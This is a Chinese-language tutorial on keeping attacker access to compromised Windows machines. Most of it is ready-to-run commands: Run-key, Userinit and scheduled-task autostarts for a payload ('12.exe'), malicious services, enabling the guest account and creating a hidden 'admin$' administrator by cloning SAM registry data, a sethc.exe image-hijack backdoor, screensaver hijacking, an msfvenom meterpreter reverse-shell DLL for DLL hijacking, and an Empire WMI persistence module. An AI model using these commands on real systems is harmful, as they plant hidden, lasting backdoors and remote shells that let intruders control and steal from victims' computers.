windows权限维持
一 注册表
二 计划任务
三 服务
四 影子账户和激活guest
五 快捷键位
六 镜像劫持
七 屏幕保护程序
八 dll劫持
九 wmi后门
一、注册表
打开HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run下新建一个开机启动项。
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "C:\Windows\tmp\12.exe"
![](https://upload-images.jianshu.io/upload_images/4664072-e86ec21fe0b896a0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-90cec3b939201411.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
注册表:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon的键值Userinit
将键值添加为C:\Windows\system32\userinit.exe,cmd.exe
![](https://upload-images.jianshu.io/upload_images/4664072-0b8e1ebfe7981f94.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
二、计划任务
schtasks /Create /tn Updater /tr c:\windows\12.exe /sc hourly /mo 1
命令会在每小时执行一次12.exe ,win7及以下的系统使用at命令代替
三、服务
使用一个免杀工具地址: https://github.com/itm4n/PrintSpoofer
shell sc create "serverport" binpath= "C:\Pentest\12.exe"
shell sc description "serverport" "serverpower"【设置服务的描述】
shell sc config "serverport" start= auto 【设置服务自启动】
shell net start "serverport"
![](https://upload-images.jianshu.io/upload_images/4664072-c4fa786949ccc0a4.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
四、影子账户配合3389
激活guest账户
C:\>net user guest /active:yes
C:\>net user guest 1234@12.com
C:\>net localgroup administrators guest /add
影子账户
添加一个用户名带$的用户,如:admin$:123456@sec
net user admin$ 123456@sec /add #添加用户admin$
net localgroup administrators admin$ /add #将admin$用户添加到管理员组administrators
![](https://upload-images.jianshu.io/upload_images/4664072-f30e4a5692d5c21f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
此时使用net user 无法查看出 但 可以在控制面板的管理工具中用户与用户组查看到该用户的存在
登录
![](https://upload-images.jianshu.io/upload_images/4664072-04d7c9608c131082.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
对注册表进行修改利用 运行 输入regedit 打开注册表
HKEY_LOCAL_MACHINE----SAM--SAM
![](https://upload-images.jianshu.io/upload_images/4664072-2a8c6f20f18b50f8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
右键 权限
![](https://upload-images.jianshu.io/upload_images/4664072-be7e52c49a5e8d30.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
(某些系统需要重新打开注册表刷新)回到注册表主页面
,找HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
![](https://upload-images.jianshu.io/upload_images/4664072-54b889e0f87b4e80.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-d9e5cc226fb0eabe.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
将Administrator F表内的二进制数据复制下来 替换 admin$的
![](https://upload-images.jianshu.io/upload_images/4664072-99bc190ffb0b1c86.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
导出Users和Names下对应admin$项
![](https://upload-images.jianshu.io/upload_images/4664072-c75c7739765a18fb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
用cmdshell(管理员权限)将admin$删除
net user admin$ /del
导入刚才的文件(直接鼠标拖入即可)
![](https://upload-images.jianshu.io/upload_images/4664072-1da5ace276c0aab9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
导入成功后回到管理工具中的查看用户与用户组的页面,发现用户组和用户已经没有admin$这个用户的存在
添加admin$用户的用户名到远程登录
![](https://upload-images.jianshu.io/upload_images/4664072-75aa37e9e80f9ab2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
五、快捷键位(手工忽略)
C:\Windows\System32\sethc.exe 粘滞键shift键位
C:\Windows\System32\utilman.exe 设置中心 快捷键:Windows+U 键
C:\Windows\System32\osk.exe 屏幕键盘
C:\Windows\System32\Magnify.exe 放大镜 快捷键:Windows+加减号
六、镜像劫持
修改注册表,利用镜像劫持。将快捷键shift 替换为木马
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\12.exe"
![](https://upload-images.jianshu.io/upload_images/4664072-e5a414a7ffeda729.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-26a7edc6a78dc18d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
然后连续按5次“Shift”,就会执行木马
七 屏幕保护程序
屏幕保护程序设置存储在注册表中
将木马文件的后缀由exe改为scr
使用/f参数强制执行
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\windows\12.scr" /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\windows\12.exe" /f
![](https://upload-images.jianshu.io/upload_images/4664072-0640b63a2891b380.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-0f13dac922cc5fbb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
修改屏保启动时间
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f
或者使用nishang powershell脚本
八 dll劫持
原理:windows程序启动需要dll,如果这些dll不存在,则可以通过在应用程序中查找的位置防止恶意的dll来提权,DLL注入是一种允许攻击者在另一个进程的地址空间的上下文中运行任意代码的技术。如果某进程以过多的权限运行,那么可以会被攻击者加以利用,以DLL文件的形式执行恶意代码以提升权限
msf生成dll文件或者其他工具生成
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=XXXX LPORT=4444 -f dll > /tmp/pentestlab.dll
替换第三方工具 或者系统不重要的程序
常用的如LPK.dll的劫持
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls
九 wmi后门
WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具),提供了从命令行接口和批命令脚本执行系统管理的支持。
检索系统已安装的软件
wmic product list brief |more
搜索系统运行服务
wmic service list brief |more
使用powershell脚本进行实现
empire使用模块:usemodule persistence/elevated/wmi